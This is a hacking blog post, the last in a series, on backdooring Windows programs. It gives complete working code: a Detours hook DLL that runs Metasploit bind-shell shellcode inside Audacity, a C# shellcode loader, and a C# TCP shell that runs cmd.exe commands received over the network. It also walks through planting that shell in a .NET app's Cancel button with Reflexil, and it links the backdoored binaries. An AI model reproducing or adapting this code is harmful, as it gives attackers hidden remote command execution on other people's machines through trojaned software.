Backdooring a DLL part 4

Here we are finally at the last part of my series on backdooring dll files. I wanted to cover again detours as a means of backdooring dll files and executables. A fellow 2600 member I spoke to asked me the other day about what it would take to modify an exe without changing it on disk. For that I say detours! That’s what I’m going to do this in example, on top of popping a message box up, I’m also going to pop a shell.

Recall that we covered this once before. All I’m doing is slightly modifying the detours code from before to include some shellcode from MSF. I also modified the launcher slightly because of a unicode conversion error. I’ll link all projects source and all towards the end. We’re of course modifying our detours project to allow for shellcode to be implanted. Sure we *could* do our own shellcode right there in the dll with inline assembly, but MSF does a better job than me.

#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef int (WINAPI *pFunc)(int, int);
int WINAPI MyFunc(int, int);
pFunc FuncToDetour = (pFunc)(0x40C910); // address of about box in Audacity

int WINAPI MyFunc(int a, int b)
{
	MessageBox(NULL, L"Audacity rocks!", L"Joe was here", MB_OK);
	/*
	msf payload(shell_bind_tcp) > generate -t c

	* windows/shell_bind_tcp - 328 bytes
	* http://www.metasploit.com
	* VERBOSE=false, LPORT=8080, RHOST=0.0.0.0,
	* PrependMigrate=false, EXITFUNC=none, InitialAutoRunScript=,
	* AutoRunScript=
	*/
	unsigned char buf[] =
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
		"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x1f\x90\x89"
		"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
		"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
		"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
		"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
		"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
		"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
		"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5"
		"\xe2\x5d\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
		"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

		// this shit wont work with DEP enabled systems cuz this executes directly on the stack. 
		// need to alloc some memory, mark it RWE
		void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(exec, buf, sizeof buf);
		((void(*)())exec)();

	return 4;
}
extern "C" __declspec(dllexport) void DoNothingAlready(void)
{
	DWORD ayylmao = 20345;
	_asm
	{
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
		testd:
		fnop
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx
			nop
	}
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	return TRUE;
}

You’ll notice how we don’t directly place our shellcode in the stack. This is because doing so will fail. Modern Windows employs the use of Data Execution Prevention (DEP) which prevents execution in the stack. To get around this, we allocate a chunk of memory and mark it read write execute. We’ll be doing the same thing with .net.

So our code is short and sweet. Running audacity with our launcher and hitting the about box, we see audacity open port 8080.
audacity
Sure enough here’s our shell on port 8080.
audacity_3

As an added bonus, I’m going to go over backdooring a .Net class library / .net executable. I will be using Red Gate Reflector and the reflector plugin Reflexil. Reflexil also works for IlSpy as well if you’re cheap and like free stuff. DnSpy doesn’t work for my examples because its a piece of shit.

The obvious thing that comes to mind is “joe, how in the hell are we supposed to inline shellcode for a backdoor into a managed language that doesn’t even support inline assembly?” and to that I say good point. But there’s more than one way to skin a cat.

There are 2 ways to run shellcode in a C# application. The first way is to use C and inline assembly and pointers and such, then compile your code as a dll and call the dll from within your C# application. Imagine calling a dll within a dll. Inception and shit.
1265818648499
The other way to do it is:

  • Define an array of bytes (our shellcode)
  • Allocate a chunk of memory (length of shellcode)
  • Set the memory protection flags on the chunk as Read Write Execute
  • Write the array of bytes (our shellcode) into this same allocated chunk
  • Create a thread, setting the ‘LpStartAddress’ to our chunk of memory.

Side note – there are 2 other variations on this that have similar results. We could call CreateRemoteThread and inject into an already running process such as the host process or explorer or whatever. We could also create a suspended process of something (svchost.exe, or whatever) and write our code in there. In fact that’s how JoeCrypt works with its wrapper around executables.
1463598483447

First things first, we need some shellcode. In following with the ‘backdoor’ theme, I’m choosing a simple single stage TCP bind shell. MSF is nice enough to provide us with a C# output via its ‘generate’ application. Thanks HDM. csharp_shellcodezbig_red_button

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        [Flags]
        public enum AllocationType
        {
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        }
        public enum AllocationProtect : uint
        {
            PAGE_NOACCESS = 1u,
            PAGE_READONLY,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
        }
 /* msf payload(shell_bind_tcp) > generate -t csharp
  * 
  * windows/shell_bind_tcp - 328 bytes
  * http://www.metasploit.com
  * VERBOSE=false, LPORT=1337, RHOST=0.0.0.0, 
  * PrependMigrate=false, EXITFUNC=thread, 
  * InitialAutoRunScript=, AutoRunScript=
  */
        byte[] buf = new byte[328] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x08,0x59,0x50,0xe2,0xfd,0x40,0x50,0x40,
0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x68,0x02,0x00,0x05,0x39,0x89,
0xe6,0x6a,0x10,0x56,0x57,0x68,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x57,0x68,0xb7,
0xe9,0x38,0xff,0xff,0xd5,0x57,0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x97,
0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,0x57,
0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,
0x01,0x01,0x8d,0x44,0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,0x56,0x56,0x46,
0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,
0x4e,0x56,0x46,0xff,0x30,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,
0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,
0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };

        [DllImport("Kernel32.dll")]
        private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId );

        [DllImport("Kernel32.dll")]
        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);
     
        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);

        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
            {
                throw new Exception("Could not open process ID " + pid + ", are you running as an admin?");
            }
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);
        }
    }
}

Now that we have our app, how do we get it into an existing managed library? Same way we do it with regular .net exes? Haven’t I been over this subject before?

So how do we inject into a managed dll? We don’t. Reflexil doesn’t allow the use of the ‘dllimport’ directive in its generated code. It fails to add a proper reference in the .net metadata section for imported dll references. It looks like it would work at first, producing what looks like working MSIL code: reflexil_rocks But oh no it doesn’t work. This is a reflexil bug.
fuck

Well fuck. What can we do? I tried with DnSpy, but god damn, same problem.
1473388832060
We could always just compile our code as a dll and straight up replace it with the name of another C# class library. So how could we technically backdoor a C# dll? We would have to look for unsafe calls to Assembly.LoadFile or Assembly.LoadFrom and ensure our dll is called instead. As for backdooring a .net exe, your best bet looks like total replacement of the exe if we do it this way.

There is another way however. We don’t need shellcode to pop a shell – the .net framework should have everything we need. Luckily for us in C#, spawning a remote socket and process is trivial.

using System;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace ServerApp
{   
    class Program
    {
        static void Main(string[] args)
        {
            int PortNo = 31337;
            TcpListener servListener;
            servListener = new TcpListener(IPAddress.Any, PortNo);
            servListener.Start();
            while (true)
            {
                Socket rocksock = servListener.AcceptSocket();
                try
                {
                    Stream dastream = new NetworkStream(rocksock);
                    StreamReader sr = new StreamReader(dastream);
                    StreamWriter sw = new StreamWriter(dastream);
                    sw.AutoFlush = true;
                    sw.WriteLine("Joe's C# TCP Shell!!");
                    while (true)
                    {
                        string command = sr.ReadLine();
                        if (command == "" || command == null)
                        {
                            sw.WriteLine("Command not entered!");
                            break;
                        }
                        System.Diagnostics.Process kek = new System.Diagnostics.Process();
                        kek.StartInfo.FileName = "cmd.exe";
                        kek.StartInfo.RedirectStandardOutput = true;
                        kek.StartInfo.Arguments = "/c " + command;
                        kek.StartInfo.UseShellExecute = false;
                        kek.Start();
                        sw.WriteLine("entered command {0}", command);
                        sw.WriteLine("output: {0}", kek.StandardOutput.ReadToEnd());
                    }
                    dastream.Close();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                rocksock.Close();
            }
           
        }
        
    }
}

We have our code, we now need a .net app to cram it into. I couldn’t find a suitable class library, so a .net app will do for our example:
hasher_patched

We’re going to backdoor my JoeHasher app. Loading the thing into Reflector, we locate the method associated with ‘cancel’ and see its for a background worker cancellation instructions. This is a suitable spot. backdoor_csharp_2

Select the method in the tree view, bring up Reflexil from the file menu (tools->Reflexil), right click and select “Replace all with code”.

When we have the compiler menu, we are going to be placing our code in the method ‘btnCancel_Click’. Reflexil is nice enough to leave the other areas alone and only mess with this method.reflexil_23

Now we need to throw our code inside. Reflexil is finicky with its code in that it wants absolute object names. Here it’s complaining about not being able to find my objects.
reflex_it

This is fixed by using the absolute names. So like instead of TcpListener you go System.Net.Sockets.TcpListener. Do this for the other objects in the method and Reflexil will be satisfied.
absolut

Now press ‘ok’ and right click on the module in the tree menu, choose the Reflexil menu, then click ‘Save as…’. This will save our work.

Running our patched ‘JoeHasher’ app and clicking the ‘Cancel’ button does exactly what we want, spawns a shell on port 31337.

backdoored_csharp_bin

Connect to the fucker with Putty and we have our shell:
putty

putty2

So that’s how you backdoor a .net binary. For a .net class library, you do the exact same – find a method that looks suitable, and replace with your backdooring code. Shellcode is nice, but not necessary for our needs of spawning a cmd shell.

Hope you all learned something. Attached here are all the files. The detours launcher, dll, source for both, the C# shellcode app and source, the C# cmd shell app / source, and the backdoored c# hasher / regular hasher thingy.

Happy hacking!

1472499021034

One thought on “Backdooring a DLL part 4

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.